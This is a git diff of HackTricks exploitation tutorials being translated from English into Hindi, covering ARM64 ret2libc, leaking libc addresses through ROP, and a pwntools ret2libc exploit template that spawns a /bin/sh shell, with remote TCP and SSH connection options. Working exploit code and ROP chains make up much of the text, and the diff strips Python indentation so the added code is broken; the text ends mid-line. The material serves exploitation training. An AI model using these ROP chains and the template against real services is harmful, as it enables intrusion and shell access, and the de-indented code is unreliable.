-Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.** +libc लीक किए गए पते को libc के बेस पते से घटाने पर, यह देखना संभव है कि **बेस से लीक किए गए पते का **ऑफसेट** `0x49c40` है।** -### x30 offset +### x30 ऑफसेट -See the previous example as the bof is the same. +पिछले उदाहरण को देखें क्योंकि bof वही है। -### Find Gadgets +### गैजेट्स खोजें -Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper another interesting gadget was found: +पिछले उदाहरण की तरह, हमें **`x0`** में स्ट्रिंग **`/bin/sh`** का पता होना चाहिए और **`system`** को कॉल करना चाहिए। +Rooper का उपयोग करते हुए एक और दिलचस्प गैजेट मिला: ``` 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; ``` - -This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +यह गैजेट **`$sp + 0x78`** से `x0` लोड करेगा और फिर `sp` से `x29` और `x30` के पते लोड करेगा और `x30` पर कूद जाएगा। इसलिए, इस गैजेट के साथ हम **पहले तर्क को नियंत्रित कर सकते हैं और फिर सिस्टम पर कूद सकते हैं**। ### Exploit - ```python from pwn import * from time import sleep @@ -172,15 +157,15 @@ p = process('./rop') # For local binary libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") def leak_printf(payload, is_main_addr=False): - p.sendlineafter(b">\n" ,payload) - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - if is_main_addr: - response = response[:-4] + b"0000" - return int(response, 16) +p.sendlineafter(b">\n" ,payload) +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +if is_main_addr: +response = response[:-4] + b"0000" +return int(response, 16) def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Get main address main_address = leak_printf(b"%21$p", True) @@ -213,5 +198,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index fb453a1ba..1a3cbb205 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -1,84 +1,77 @@ -# Leaking libc address with ROP +# ROP के साथ libc पता लीक करना {{#include ../../../../banners/hacktricks-training.md}} -## Quick Resume +## त्वरित सारांश -1. **Find** overflow **offset** -2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets -3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) -4. With the library, **calculate the ROP and exploit it** +1. **ओवरफ्लो** **ऑफसेट** खोजें +2. **खोजें** `POP_RDI` गैजेट, `PUTS_PLT` और `MAIN` गैजेट +3. पिछले गैजेट्स का उपयोग करें **puts** या अन्य libc फ़ंक्शन का **मेमोरी पता लीक करने** के लिए और **libc संस्करण खोजें** ([donwload it](https://libc.blukat.me)) +4. पुस्तकालय के साथ, **ROP की गणना करें और इसका शोषण करें** -## Other tutorials and binaries to practice +## अभ्यास के लिए अन्य ट्यूटोरियल और बाइनरी -This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ -Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) +यह ट्यूटोरियल इस ट्यूटोरियल में प्रस्तावित कोड/बाइनरी का शोषण करने जा रहा है: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ +अन्य उपयोगी ट्यूटोरियल: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) -## Code - -Filename: `vuln.c` +## कोड +फाइल का नाम: `vuln.c` ```c #include int main() { - char buffer[32]; - puts("Simple ROP.\n"); - gets(buffer); +char buffer[32]; +puts("Simple ROP.\n"); +gets(buffer); - return 0; +return 0; } ``` ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` +## ROP - LIBC लीक करने का टेम्पलेट -## ROP - Leaking LIBC template - -Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script: +एक्सप्लॉइट डाउनलोड करें और इसे कमजोर बाइनरी के समान निर्देशिका में रखें और स्क्रिप्ट को आवश्यक डेटा दें: {{#ref}} rop-leaking-libc-template.md {{#endref}} -## 1- Finding the offset - -The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`): +## 1- ऑफसेट खोजना +टेम्पलेट को एक्सप्लॉइट के साथ आगे बढ़ने से पहले एक ऑफसेट की आवश्यकता होती है। यदि कोई प्रदान किया गया है, तो यह इसे खोजने के लिए आवश्यक कोड निष्पादित करेगा (डिफ़ॉल्ट रूप से `OFFSET = ""`): ```bash ################### ### Find offset ### ################### OFFSET = ""#"A"*72 if OFFSET == "": - gdb.attach(p.pid, "c") #Attach and continue - payload = cyclic(1000) - print(r.clean()) - r.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #cyclic_find(0x6161616b) # Find the offset of those bytes - return +gdb.attach(p.pid, "c") #Attach and continue +payload = cyclic(1000) +print(r.clean()) +r.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#cyclic_find(0x6161616b) # Find the offset of those bytes +return ``` - -**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: - +**कार्यान्वित करें** `python template.py` एक GDB कंसोल खोला जाएगा जिसमें प्रोग्राम क्रैश हो रहा है। उस **GDB कंसोल** के अंदर `x/wx $rsp` निष्पादित करें ताकि **बाइट्स** प्राप्त हो सकें जो RIP को ओवरराइट करने वाले थे। अंत में एक **python** कंसोल का उपयोग करके **ऑफसेट** प्राप्त करें: ```python from pwn import * cyclic_find(0x6161616b) ``` - ![](<../../../../images/image (1007).png>) -After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ +ऑफसेट (इस मामले में 40) खोजने के बाद, उस मान का उपयोग करके टेम्पलेट के अंदर OFFSET वेरिएबल को बदलें।\ `OFFSET = "A" * 40` -Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. +एक और तरीका होगा: `pattern create 1000` -- _ret तक निष्पादित करें_ -- `pattern seach $rsp` GEF से। -## 2- Finding Gadgets - -Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. +## 2- गैजेट्स खोजना +अब हमें बाइनरी के अंदर ROP गैजेट्स खोजने की आवश्यकता है। ये ROP गैजेट्स `puts` को कॉल करने के लिए उपयोगी होंगे ताकि **libc** का पता लगाया जा सके, और बाद में **अंतिम एक्सप्लॉइट लॉन्च** करने के लिए। ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` +`PUTS_PLT` को **function puts** को कॉल करने के लिए आवश्यक है।\ +`MAIN_PLT` को **main function** को फिर से कॉल करने के लिए आवश्यक है एक इंटरैक्शन के बाद **overflow** को **फिर से** **exploit** करने के लिए (शाश्वत शोषण के राउंड)। **यह प्रत्येक ROP के अंत में प्रोग्राम को फिर से कॉल करने के लिए उपयोग किया जाता है।**\ +**POP_RDI** को कॉल की गई फ़ंक्शन को **parameter** **pass** करने के लिए आवश्यक है। -The `PUTS_PLT` is needed to call the **function puts**.\ -The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ -The **POP_RDI** is needed to **pass** a **parameter** to the called function. +इस चरण में आपको कुछ भी निष्पादित करने की आवश्यकता नहीं है क्योंकि सब कुछ pwntools द्वारा निष्पादन के दौरान पाया जाएगा। -In this step you don't need to execute anything as everything will be found by pwntools during the execution. - -## 3- Finding libc library - -Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. +## 3- libc लाइब्रेरी खोजना +अब यह पता लगाने का समय है कि कौन सी **libc** लाइब्रेरी का संस्करण उपयोग किया जा रहा है। ऐसा करने के लिए हम **function** `puts` के मेमोरी में **address** को **leak** करने जा रहे हैं और फिर हम यह **खोजने** जा रहे हैं कि उस पते में puts संस्करण किस **library version** में है। ```python def get_addr(func_name): - FUNC_GOT = elf.got[func_name] - log.info(func_name + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +FUNC_GOT = elf.got[func_name] +log.info(func_name + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - #Send our rop-chain payload - #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment - print(p.clean()) # clean socket buffer (read all and print) - p.sendline(rop1) +#Send our rop-chain payload +#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment +print(p.clean()) # clean socket buffer (read all and print) +p.sendline(rop1) - #Parse leaked address - recieved = p.recvline().strip() - leak = u64(recieved.ljust(8, "\x00")) - log.info("Leaked libc address, "+func_name+": "+ hex(leak)) - #If not libc yet, stop here - if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +#Parse leaked address +recieved = p.recvline().strip() +leak = u64(recieved.ljust(8, "\x00")) +log.info("Leaked libc address, "+func_name+": "+ hex(leak)) +#If not libc yet, stop here +if libc != "": +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) - return hex(leak) +return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base if libc == "": - print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") - p.interactive() +print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") +p.interactive() ``` - -To do so, the most important line of the executed code is: - +इसको करने के लिए, निष्पादित कोड की सबसे महत्वपूर्ण पंक्ति है: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` +यह कुछ बाइट्स भेजेगा जब तक **RIP** को **ओवरराइट** करना संभव न हो: `OFFSET`.\ +फिर, यह **गैजेट** `POP_RDI` का **पता** सेट करेगा ताकि अगला पता (`FUNC_GOT`) **RDI** रजिस्ट्रि में सहेजा जा सके। इसका कारण यह है कि हम **puts** को **कॉल** करना चाहते हैं **उसे** `PUTS_GOT` का **पता** पास करते हुए क्योंकि मेमोरी में puts फ़ंक्शन का पता `PUTS_GOT` द्वारा इंगित किए गए पते में सहेजा गया है।\ +इसके बाद, `PUTS_PLT` को कॉल किया जाएगा (जिसमें `PUTS_GOT` **RDI** के अंदर है) ताकि puts `PUTS_GOT` के अंदर की सामग्री (**मेमोरी में puts फ़ंक्शन का पता**) को **पढ़े** और इसे **प्रिंट** करे।\ +अंत में, **मुख्य फ़ंक्शन फिर से कॉल किया जाता है** ताकि हम फिर से ओवरफ्लो का लाभ उठा सकें। -This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ -Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ -After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\ -Finally, **main function is called again** so we can exploit the overflow again. - -This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**. +इस तरह हमने **puts फ़ंक्शन** को **प्रिंट** करने के लिए **धोखा** दिया है **मेमोरी** में फ़ंक्शन **puts** का **पता** (जो **libc** लाइब्रेरी के अंदर है)। अब जब हमारे पास वह पता है, हम **खोज सकते हैं कि कौन सा libc संस्करण उपयोग में है**। ![](<../../../../images/image (1049).png>) -As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ -But, in a remote exploit case I will explain here how can you find it: +चूंकि हम कुछ **स्थानीय** बाइनरी का **शोषण** कर रहे हैं, इसलिए यह **जानने की आवश्यकता नहीं है** कि कौन सा **libc** संस्करण उपयोग में है (बस `/lib/x86_64-linux-gnu/libc.so.6` में लाइब्रेरी खोजें)।\ +लेकिन, एक दूरस्थ शोषण मामले में, मैं यहाँ बताऊंगा कि आप इसे कैसे खोज सकते हैं: -### 3.1- Searching for libc version (1) +### 3.1- libc संस्करण की खोज (1) -You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ -It will also allow you to download the discovered version of **libc** +आप वेब पृष्ठ पर देख सकते हैं कि कौन सी लाइब्रेरी उपयोग में है: [https://libc.blukat.me/](https://libc.blukat.me)\ +यह आपको **libc** के खोजे गए संस्करण को डाउनलोड करने की भी अनुमति देगा। ![](<../../../../images/image (221).png>) -### 3.2- Searching for libc version (2) +### 3.2- libc संस्करण की खोज (2) -You can also do: +आप यह भी कर सकते हैं: - `$ git clone https://github.com/niklasb/libc-database.git` - `$ cd libc-database` - `$ ./get` -This will take some time, be patient.\ -For this to work we need: +इसमें कुछ समय लगेगा, धैर्य रखें।\ +इसके काम करने के लिए हमें आवश्यकता है: -- Libc symbol name: `puts` -- Leaked libc adddress: `0x7ff629878690` - -We can figure out which **libc** that is most likely used. +- Libc प्रतीक नाम: `puts` +- लीक किया गया libc पता: `0x7ff629878690` +हम यह पता लगा सकते हैं कि कौन सा **libc** सबसे अधिक संभावना है कि उपयोग में है। ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` - -We get 2 matches (you should try the second one if the first one is not working). Download the first one: - +हमारे पास 2 मेल हैं (यदि पहला काम नहीं कर रहा है तो आपको दूसरे को आजमाना चाहिए)। पहला डाउनलोड करें: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 - -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb - -> Downloading package - -> Extracting package - -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 +-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb +-> Downloading package +-> Extracting package +-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` +`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` से libc को हमारी कार्यशील निर्देशिका में कॉपी करें। -Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. - -### 3.3- Other functions to leak - +### 3.3- लीक करने के लिए अन्य फ़ंक्शन ```python puts printf @@ -198,28 +181,24 @@ __libc_start_main read gets ``` +## 4- आधारित libc पता लगाना और शोषण करना -## 4- Finding based libc address & exploiting +इस बिंदु पर हमें उपयोग की जाने वाली libc लाइब्रेरी का पता होना चाहिए। चूंकि हम एक स्थानीय बाइनरी का शोषण कर रहे हैं, मैं बस उपयोग करूंगा: `/lib/x86_64-linux-gnu/libc.so.6` -At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` +तो, `template.py` के शुरुआत में **libc** वेरिएबल को बदलें: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` -So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` - -Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. - -Inside the `get_addr`function the **base address of libc** is going to be calculated: +**libc लाइब्रेरी** के लिए **पथ** देने से **शोषण स्वचालित रूप से गणना किया जाएगा**। +`get_addr` फ़ंक्शन के अंदर **libc का आधार पता** गणना किया जाएगा: ```python if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) ``` - > [!NOTE] -> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. - -Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** +> ध्यान दें कि **अंतिम libc बेस पता 00 पर समाप्त होना चाहिए**। यदि ऐसा नहीं है, तो आप एक गलत पुस्तकालय लीक कर सकते हैं। +फिर, फ़ंक्शन `system` का पता और स्ट्रिंग _"/bin/sh"_ का **पता** **libc** के **बेस पते** से **गणना** किया जाएगा और **libc पुस्तकालय** दिया जाएगा। ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -228,9 +207,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` - -Finally, the /bin/sh execution exploit is going to be prepared sent: - +अंत में, /bin/sh निष्पादन शोषण तैयार किया जा रहा है: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -240,65 +217,56 @@ p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` +आइए इस अंतिम ROP को समझाते हैं।\ +अंतिम ROP (`rop1`) ने फिर से मुख्य फ़ंक्शन को कॉल किया, फिर हम **फिर से शोषण कर सकते हैं** **ओवरफ्लो** (इसलिए `OFFSET` यहाँ फिर से है)। फिर, हम `POP_RDI` को कॉल करना चाहते हैं जो _"/bin/sh"_ (`BINSH`) के **पते** की ओर इशारा करता है और **system** फ़ंक्शन (`SYSTEM`) को कॉल करते हैं क्योंकि _"/bin/sh"_ का पता एक पैरामीटर के रूप में पास किया जाएगा।\ +अंत में, **exit फ़ंक्शन का पता** **कॉल** किया जाता है ताकि प्रक्रिया **अच्छी तरह से समाप्त हो** जाए और कोई अलर्ट उत्पन्न न हो। -Let's explain this final ROP.\ -The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ -Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. - -**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\* +**इस तरह शोषण एक \_/bin/sh**\_\*\* शेल को निष्पादित करेगा।\*\* ![](<../../../../images/image (165).png>) -## 4(2)- Using ONE_GADGET +## 4(2)- ONE_GADGET का उपयोग करना -You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +आप [**ONE_GADGET** ](https://github.com/david942j/one_gadget) का उपयोग करके **system** और **"/bin/sh"** के बजाय एक शेल प्राप्त कर सकते हैं। **ONE_GADGET** libc पुस्तकालय के अंदर एक शेल प्राप्त करने का एक तरीका खोजेगा जो केवल एक **ROP पता** का उपयोग करता है।\ +हालांकि, सामान्यतः कुछ सीमाएँ होती हैं, सबसे सामान्य और आसानी से बचने वाली सीमाएँ हैं जैसे `[rsp+0x30] == NULL`। चूंकि आप **RSP** के अंदर के मानों को नियंत्रित करते हैं, इसलिए आपको कुछ और NULL मान भेजने की आवश्यकता है ताकि सीमा से बचा जा सके। ![](<../../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` - ## EXPLOIT FILE -You can find a template to exploit this vulnerability here: +आप इस कमजोरियों का फायदा उठाने के लिए एक टेम्पलेट यहाँ पा सकते हैं: {{#ref}} rop-leaking-libc-template.md {{#endref}} -## Common problems +## सामान्य समस्याएँ -### MAIN_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist. Then you can find where is the main code: +### MAIN_PLT = elf.symbols\['main'] नहीं मिला +यदि "main" प्रतीक मौजूद नहीं है। तो आप मुख्य कोड कहाँ है, यह पता कर सकते हैं: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +और पते को मैन्युअल रूप से सेट करें: ```python MAIN_PLT = 0x401080 ``` +### Puts नहीं मिला -### Puts not found +यदि बाइनरी Puts का उपयोग नहीं कर रही है, तो आपको यह जांचना चाहिए कि क्या यह उपयोग कर रही है -If the binary is not using Puts you should check if it is using +### `sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला` -### `sh: 1: %s%s%s%s%s%s%s%s: not found` - -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +यदि आप **सभी** एक्सप्लॉइट बनाने के बाद यह **त्रुटि** पाते हैं: `sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला` +तो **"/bin/sh" के पते से 64 बाइट घटाने** का प्रयास करें: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md index def2864f4..89c4b6eba 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -1,11 +1,6 @@ -# Leaking libc - template +# libc लीक करना - टेम्पलेट {{#include ../../../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ```python:template.py from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools @@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it ENV = {"LD_PRELOAD": LIBC} if LIBC else {} if LOCAL: - P = process(LOCAL_BIN, env=ENV) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = process(LOCAL_BIN, env=ENV) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTETTCP: - P = remote('10.10.10.10',1339) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = remote('10.10.10.10',1339) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - p = ssh_shell.process(REMOTE_BIN) # start the vuln binary - elf = ELF(LOCAL_BIN)# Extract data from binary - rop = ROP(elf)# Find ROP gadgets +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +p = ssh_shell.process(REMOTE_BIN) # start the vuln binary +elf = ELF(LOCAL_BIN)# Extract data from binary +rop = ROP(elf)# Find ROP gadgets if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") @@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH: OFFSET = b"" #b"A"*264 if OFFSET == b"": - gdb.attach(P.pid, "c") #Attach and continue - payload = cyclic(264) - payload += b"AAAAAAAA" - print(P.clean()) - P.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #print(cyclic_find(0x63616171)) # Find the offset of those bytes - P.interactive() - exit() +gdb.attach(P.pid, "c") #Attach and continue +payload = cyclic(264) +payload += b"AAAAAAAA" +print(P.clean()) +P.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#print(cyclic_find(0x63616171)) # Find the offset of those bytes +P.interactive() +exit() @@ -69,11 +64,11 @@ if OFFSET == b"": ### Find Gadgets ### #################### try: - libc_func = "puts" - PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts +libc_func = "puts" +PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts except: - libc_func = "printf" - PUTS_PLT = ELF_LOADED.plt['printf'] +libc_func = "printf" +PUTS_PLT = ELF_LOADED.plt['printf'] MAIN_PLT = ELF_LOADED.symbols['main'] POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" @@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET)) ######################## def generate_payload_aligned(rop): - payload1 = OFFSET + rop - if (len(payload1) % 16) == 0: - return payload1 +payload1 = OFFSET + rop +if (len(payload1) % 16) == 0: +return payload1 - else: - payload2 = OFFSET + p64(RET) + rop - if (len(payload2) % 16) == 0: - log.info("Payload aligned successfully") - return payload2 - else: - log.warning(f"I couldn't align the payload! Len: {len(payload1)}") - return payload1 +else: +payload2 = OFFSET + p64(RET) + rop +if (len(payload2) % 16) == 0: +log.info("Payload aligned successfully") +return payload2 +else: +log.warning(f"I couldn't align the payload! Len: {len(payload1)}") +return payload1 def get_addr(libc_func): - FUNC_GOT = ELF_LOADED.got[libc_func] - log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - rop1 = generate_payload_aligned(rop1) +FUNC_GOT = ELF_LOADED.got[libc_func] +log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +rop1 = generate_payload_aligned(rop1) - # Send our rop-chain payload - #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received - print(P.clean()) # clean socket buffer (read all and print) - P.sendline(rop1) +# Send our rop-chain payload +#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received +print(P.clean()) # clean socket buffer (read all and print) +P.sendline(rop1) - # If binary is echoing back the payload, remove that message - recieved = P.recvline().strip() - if OFFSET[:30] in recieved: - recieved = P.recvline().strip() +# If binary is echoing back the payload, remove that message +recieved = P.recvline().strip() +if OFFSET[:30] in recieved: +recieved = P.recvline().strip() - # Parse leaked address - log.info(f"Len rop1: {len(rop1)}") - leak = u64(recieved.ljust(8, b"\x00")) - log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") +# Parse leaked address +log.info(f"Len rop1: {len(rop1)}") +leak = u64(recieved.ljust(8, b"\x00")) +log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") - # Set lib base address - if LIBC: - LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base - print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") - log.info("LIBC base @ %s" % hex(LIBC.address)) +# Set lib base address +if LIBC: +LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base +print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") +log.info("LIBC base @ %s" % hex(LIBC.address)) - # If not LIBC yet, stop here - else: - print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") - P.interactive() +# If not LIBC yet, stop here +else: +print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") +P.interactive() - return hex(leak) +return hex(leak) get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base @@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base ## Via One_gadget (https://github.com/david942j/one_gadget) # gem install one_gadget def get_one_gadgets(libc): - import string, subprocess - args = ["one_gadget", "-r"] - if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): - args += ["-b", libc.hex()] - else: - args += [libc] - try: - one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] - except: - print("One_gadget isn't installed") - one_gadgets = [] - return +import string, subprocess +args = ["one_gadget", "-r"] +if len(libc) == 40 and all(x in string.hexdigits for x in 